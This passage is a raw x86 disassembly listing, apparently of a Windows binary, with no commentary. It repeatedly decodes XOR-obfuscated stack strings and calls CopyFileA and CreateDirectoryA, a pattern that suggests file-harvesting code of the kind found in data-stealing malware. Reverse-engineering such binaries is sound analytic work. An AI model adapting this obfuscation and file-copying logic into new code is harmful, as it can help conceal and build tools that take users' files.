mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x14], 0x89c15b7c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x830]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x830], xmm1
movaps xmm1, xmmword [ebp - 0x820]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x830]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x11c0]
xorps xmm1, xmmword [ebp - 0x50]
push eax
movaps xmmword [ebp - 0x820], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x18], 0x9bcbb3d4
mov dword [ebp - 0x14], 0xf901ae9a
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x400], ecx
mov dword [ebp - 0x3fc], edx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x400]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x400]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x400], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xb44]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x11c0]
call fcn.00402df0
cmp dword [ebp - 0xb30], 0xf
lea eax, [ebp - 0xb44]
cmova eax, dword [ebp - 0xb44]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x2d
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x40d9fd
mov dword [ebp - 0x18], 0xbcf882c9
lea edx, [ebp - 0xce8]
mov dword [ebp - 0x14], 0x8d2e8fb4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x18], 0xed1bc95
mov dword [ebp - 0x14], 0x14d82891
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x410]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x11d8]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x410], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x2f
cmp dword [ecx + 0x14], 0xf
jbe 0x40d9c4
mov ecx, dword [ecx]
cmp dword [ebp - 0xb30], 0xf
lea eax, [ebp - 0xb44]
push 0
cmova eax, dword [ebp - 0xb44]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x11d8]
call fcn.00402df0
test esi, esi
je 0x40d9fd
mov byte [ebp - 0x31], 1
jmp 0x40da0c
push ecx
lea ecx, [ebp - 0xce8]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xb44]
call fcn.00402df0
mov dword [ebp - 0x18], 0xb1eeafc9
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0x950388ba
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x18], 0x9d5f78f
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x420]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x420]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xd00]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x420], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x30
lea eax, [ebp - 0xd00]
cmp dword [ebp - 0xcec], 0xf
push 0
cmova eax, dword [ebp - 0xd00]
push eax
call edi
test eax, eax
je 0x40de80
mov dword [ebp - 0x18], 0xaaf7cdc9
mov dword [ebp - 0x14], 0x9a329bb5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x9a0], eax
mov dword [ebp - 0x99c], ecx
mov dword [ebp - 0x18], 0x13defb8a
mov dword [ebp - 0x14], 0x71ab1a8a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x998], eax
mov dword [ebp - 0x994], ecx
mov dword [ebp - 0x18], 0xb7261dd3
mov dword [ebp - 0x14], 0xa793b57e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x990], eax
mov dword [ebp - 0x98c], ecx
mov dword [ebp - 0x18], 0xdd1c2b89
mov dword [ebp - 0x14], 0xeaa23a20
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x988], eax
mov dword [ebp - 0x984], ecx
mov dword [ebp - 0x18], 0x91436286
mov dword [ebp - 0x14], 0x6d9fcc4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x980], eax
mov dword [ebp - 0x97c], ecx
mov dword [ebp - 0x18], 0xd5d93afe
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x974], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd94f69a7
mov dword [ebp - 0x14], 0xc0cfc619
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xae7946e8
mov dword [ebp - 0x14], 0x89c15b7c
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xe52d17e9
mov dword [ebp - 0x14], 0x7eadd2b7
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xd5d93a8a
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], 0x19127bfa
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x9a0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x9a0], xmm1
movaps xmm1, xmmword [ebp - 0x990]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x990], xmm1
movaps xmm1, xmmword [ebp - 0x980]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x980], xmm1
lea eax, [ebp - 0x9a0]
push eax
lea ecx, [ebp - 0x11f0]
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x18], 0x8ddeb0c0
mov dword [ebp - 0x14], 0xbf0fa88b
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x42c], edx
mov dword [ebp - 0x18], 0x7dfedeaf
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x430]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x430], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xafc]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x11f0]
call fcn.00402df0
cmp dword [ebp - 0xae8], 0xf
lea eax, [ebp - 0xafc]
cmova eax, dword [ebp - 0xafc]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x34
mov byte [ebp - 4], 0x33
call fcn.004e6d70
add esp, 0x18
test al, al
je 0x40de62
mov dword [ebp - 0x18], 0xbcf882c9
lea edx, [ebp - 0xd00]
mov dword [ebp - 0x14], 0x8d2e8fb4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x18], 0x5cfbc95
mov dword [ebp - 0x14], 0x14d8468a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x440]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x440]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1208]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x440], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x35
cmp dword [ecx + 0x14], 0xf
jbe 0x40de29
mov ecx, dword [ecx]
cmp dword [ebp - 0xae8], 0xf
lea eax, [ebp - 0xafc]
push 0
cmova eax, dword [ebp - 0xafc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x1208]
call fcn.00402df0
test esi, esi
je 0x40de62
mov byte [ebp - 0x31], 1
jmp 0x40de71
push ecx
lea ecx, [ebp - 0xd00]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0xafc]
call fcn.00402df0
mov dword [ebp - 0x18], 0xabfaa1c9
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x14], 0xd72596af
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x18], 0x7dcff788
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x450]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x450]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xd18]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x450], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0xd18]
cmp dword [ebp - 0xd04], 0xf
push 0
cmova eax, dword [ebp - 0xd18]
push eax
call edi
test eax, eax
je 0x40e63e
mov dword [ebp - 0x18], 0xabfaa1c9
xor al, al
mov dword [ebp - 0x14], 0xd72596af
mov byte [ebp - 0x32], al
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x18], 0x7dcff788
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x460]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1220]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x460], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x37
mov dword [ebp - 0x18], 0x9bcbb3d4
mov dword [ebp - 0x14], 0xf901ae9a
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x470], ecx
mov dword [ebp - 0x46c], edx
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x18], 0xdf9be395
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x14], 0x14d846fe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x470]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x470]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x470], xmm1
call fcn.004423e1
add esp, 4
lea ecx, [ebp - 0xf20]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x1220]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0xf20]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x3a
push 1
mov byte [ebp - 4], 0x39
xor dl, dl
lea ecx, [ebp - 0xa3c]
call fcn.004c6000
add esp, 0x1c
mov byte [ebp - 4], 0x3b
mov eax, dword [ebp - 0xa3c]
mov ecx, dword [ebp - 0xa38]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x74], ecx
cmp eax, ecx
je 0x40e60b
mov edi, dword [ebp - 0x38]
mov byte [ebp - 0x9c], 0
push eax
lea ecx, [ebp - 0x9f8]
call fcn.004163b0
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0xc10]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x9f8]
cmp dword [ebp - 0x9e4], 0xf
lea ecx, [ebp - 0xc10]
push dword [ebp - 0x9e8]
cmova eax, dword [ebp - 0x9f8]
push eax
push dword [ebp - 0x9c]
call fcn.00429070
or edi, 0x8000
add esp, 0xc
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x3c
and edi, 0xffff7fff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xc10]
cmp dword [ebp - 0xbfc], 7
mov eax, dword [ebp - 0xc00]
cmova ecx, dword [ebp - 0xc10]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00405640
sub esi, eax
mov dword [ebp - 0x9e0], eax
push ecx
lea eax, [ebp - 0x9e0]
sar esi, 1
push eax
lea ecx, [ebp - 0xf08]
mov dword [ebp - 0x9dc], esi
call fcn.0041a4f0
lea eax, [ebp - 0x160]
or edi, 0x4000
push eax
lea ecx, [ebp - 0xf08]
mov dword [ebp - 0x38], edi
call fcn.00405980
mov byte [ebp - 4], 0x40
and edi, 0xffffbfff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0xf08]
call fcn.004188d0
mov dword [ebp - 0x18], 0xdf9b81f1
mov dword [ebp - 0x14], 0xf940fadb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0xc8], 0x7dbb92e6
mov dword [ebp - 0xc4], 0x14d846fe
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0xd0], 0xdf9be395
mov dword [ebp - 0xcc], 0xf940fadb
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0xd8], 0x7dbb92e6
mov dword [ebp - 0xd4], 0x14d846fe
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
movaps xmm1, xmmword [ebp - 0x230]
lea edx, [ebp - 0x230]
xorps xmm1, xmmword [ebp - 0x30]
lea ecx, [edx + 1]
movaps xmmword [ebp - 0x230], xmm1
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40e290
sub edx, ecx
lea eax, [ebp - 0x230]
cmp dword [ebp - 0x14c], 0xf
lea ecx, [ebp - 0x160]
push edx
cmova ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0x150]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e3e2
mov dword [ebp - 0xa8], 0xb9f58cf6
lea edx, [ebp - 0x1e0]
mov dword [ebp - 0xa4], 0xf9409db2
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0xb0], 0x7dbb92e6
mov dword [ebp - 0xac], 0x14d846fe
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0xb8], 0xdf9be395
mov dword [ebp - 0xb4], 0xf940fadb
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0xc0], 0x7dbb92e6
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xbc], 0x14d846fe
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
movaps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0xe4], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xe8], eax
xorps xmm1, xmmword [ebp - 0xf0]
movaps xmmword [ebp - 0x1e0], xmm1
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40e3a0
sub edx, ecx
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x14c], 0xf
lea ecx, [ebp - 0x160]
push edx
cmova ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0x150]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e3e2
mov edi, dword [ebp - 0x38]
jmp 0x40e5c6
mov dword [ebp - 0x88], 0xdf9be3c9
lea edx, [ebp - 0xd18]
mov dword [ebp - 0x84], 0xf940fadb
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x90], 0x7dbb92e6
mov dword [ebp - 0x8c], 0x14d846fe
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x474], ecx
mov dword [ebp - 0x98], 0xdf9be395
mov dword [ebp - 0x94], 0xf940fadb
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x480]
mov dword [ebp - 0x188], eax
lea eax, [ebp - 0x480]
mov dword [ebp - 0x184], ecx
lea ecx, [ebp - 0x1238]
xorps xmm1, xmmword [ebp - 0x190]
push eax
movaps xmmword [ebp - 0x480], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x160]
cmp dword [ebp - 0x14c], 0xf
push dword [ebp - 0x150]
cmova ecx, dword [ebp - 0x160]
push ecx
mov ecx, eax
call fcn.00418f00
mov edi, dword [ebp - 0x38]
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x168], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x178], xmm0
mov dword [ebp - 0x164], 0
or edi, 0x10000
movups xmm0, xmmword [eax]
push 0
movups xmmword [ebp - 0x178], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x168], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x9f8]
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x164], 0xf
cmova ecx, dword [ebp - 0x178]
cmp dword [ebp - 0x9e4], 0xf
push ecx
cmova eax, dword [ebp - 0x9f8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xfffeffff
mov esi, eax
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x43
mov ecx, dword [ebp - 0x164]
cmp ecx, 0xf
jbe 0x40e590
push ecx
push dword [ebp - 0x178]
lea eax, [ebp - 0x178]
push eax
call fcn.00402fe0
add esp, 0xc
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x1238]
call fcn.00402df0
test esi, esi
je 0x40e5c6
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x160]
call fcn.00402df0
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0xc10]
call fcn.004188d0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x9f8]
call fcn.00402df0
mov eax, dword [ebp - 0x7c]
add eax, 0x18
mov dword [ebp - 0x7c], eax
cmp eax, dword [ebp - 0x74]
jne 0x40e0f4
cmp byte [ebp - 0x32], 0
jne 0x40e61a
push ecx
lea ecx, [ebp - 0xd18]
call fcn.004e6770
add esp, 4
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0xa3c]
call fcn.004185d0
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xf20]
call fcn.00402df0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x20], 0xbaefb0c9
lea edx, [ebp - 0x1a8]
mov dword [ebp - 0x1c], 0xf94097ba
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0x14d846fe
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x490]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x490]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x738]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x490], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x738]
cmp dword [ebp - 0x724], 0xf
push 0
cmova eax, dword [ebp - 0x738]
push eax
call edi
test eax, eax
je 0x40f303
mov dword [ebp - 0x20], 0xafc7d9d6
mov dword [ebp - 0x1c], 0x8b2795a9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x910], eax
mov dword [ebp - 0x90c], ecx
mov dword [ebp - 0x20], 0x1b9bff87
mov dword [ebp - 0x1c], 0x67bd2a97
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x908], eax
mov dword [ebp - 0x904], ecx
mov dword [ebp - 0x20], 0xe1374187
mov dword [ebp - 0x1c], 0xb393ef2f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x8fc], ecx
mov dword [ebp - 0x20], 0xc318239c
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8f8], eax
mov dword [ebp - 0x8f4], ecx
mov dword [ebp - 0x20], 0xdf9be395
mov dword [ebp - 0x1c], 0xf940fadb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x7dbb92e6
mov dword [ebp - 0x1c], 0x14d846fe
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd94f69a7
mov dword [ebp - 0x1c], 0xc0cfc619
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0xae7946e8
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], 0x89c15b7c
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x910]
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x910], xmm1
movaps xmm1, xmmword [ebp - 0x900]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x910]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x288]
xorps xmm1, xmmword [ebp - 0x50]
push eax
mov byte [ebp - 0x32], 0
movaps xmmword [ebp - 0x900], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x288]
cmp dword [ebp - 0x274], 0xf
cmova ecx, dword [ebp - 0x288]
